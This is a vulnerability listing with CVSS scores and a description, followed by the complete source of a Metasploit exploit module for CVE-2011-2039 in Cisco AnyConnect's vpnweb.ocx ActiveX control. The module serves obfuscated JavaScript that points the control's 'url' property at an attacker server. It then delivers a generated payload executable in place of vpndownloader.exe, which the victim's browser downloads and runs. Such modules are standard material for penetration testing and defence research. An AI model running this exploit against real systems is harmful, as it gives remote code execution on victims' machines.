CVSS2
Attack Vector
NETWORK
Attack Complexity
HIGH
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:H/Au:N/C:C/I:C/A:C
EPSS
Percentile
98.4%
This module exploits a vulnerability in the Cisco AnyConnect VPN client vpnweb.ocx ActiveX control. This control is typically used to install the VPN client. An attacker can set the βurlβ property which is where the control tries to locate the files needed to install the client. The control tries to download two files from the site specified within the βurlβ property. One of these files it will be stored in a temporary directory and executed.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Cisco AnyConnect VPN Client ActiveX URL Property Download and Execute',
'Description' => %q{
This module exploits a vulnerability in the Cisco AnyConnect VPN client
vpnweb.ocx ActiveX control. This control is typically used to install the
VPN client. An attacker can set the 'url' property which is where the control
tries to locate the files needed to install the client.
The control tries to download two files from the site specified within the
'url' property. One of these files it will be stored in a temporary directory and
executed.
},
'License' => MSF_LICENSE,
'Author' => [ 'bannedit' ],
'References' =>
[
[ 'CVE', '2011-2039' ],
[ 'OSVDB', '72714'],
[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=909' ],
[ 'URL', 'http://www.cisco.com/en/US/products/products_security_advisory09186a0080b80123.shtml'],
],
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic',
{
'Arch' => ARCH_X86
}
],
],
'DisclosureDate' => '2011-06-01',
'DefaultTarget' => 0))
register_options(
[
OptString.new('URIPATH', [ true, "The URI to use.", "/" ])
])
end
def on_request_uri(cli, request)
if request.uri.match(/vpndownloader\.exe/)
exe = generate_payload_exe({:code => payload.encoded})
print_status("Client requested: #{request.uri}. Sending vpndownloader.exe")
send_response(cli, exe, { 'Content-Type' => 'application/octet-stream' })
select(nil, nil, nil, 5) # let the file download
handler(cli)
return
end
if request.uri.match(/updates\.txt/)
print_status("Client requested: #{request.uri}. Sending updates.txt")
updates = rand_text_alpha((rand(500) + 1)) + "\n" + rand_text_alpha((rand(500) + 1))
send_response(cli, updates, { 'Content-Type' => 'text/plain' })
return
end
url = get_uri(cli)
dir = rand_text_alpha((rand(40) + 1))
js = ::Rex::Exploitation::JSObfu.new %Q|
var x = document.createElement("object");
x.setAttribute("classid", "clsid:55963676-2F5E-4BAF-AC28-CF26AA587566");
x.url = "#{url}/#{dir}/";
|
js.obfuscate(memory_sensitive: true)
html = "<html>\n\t<script>#{js}\t</script>\n</html>"
print_status("Sending #{self.name}")
send_response_html(cli, html)
end
end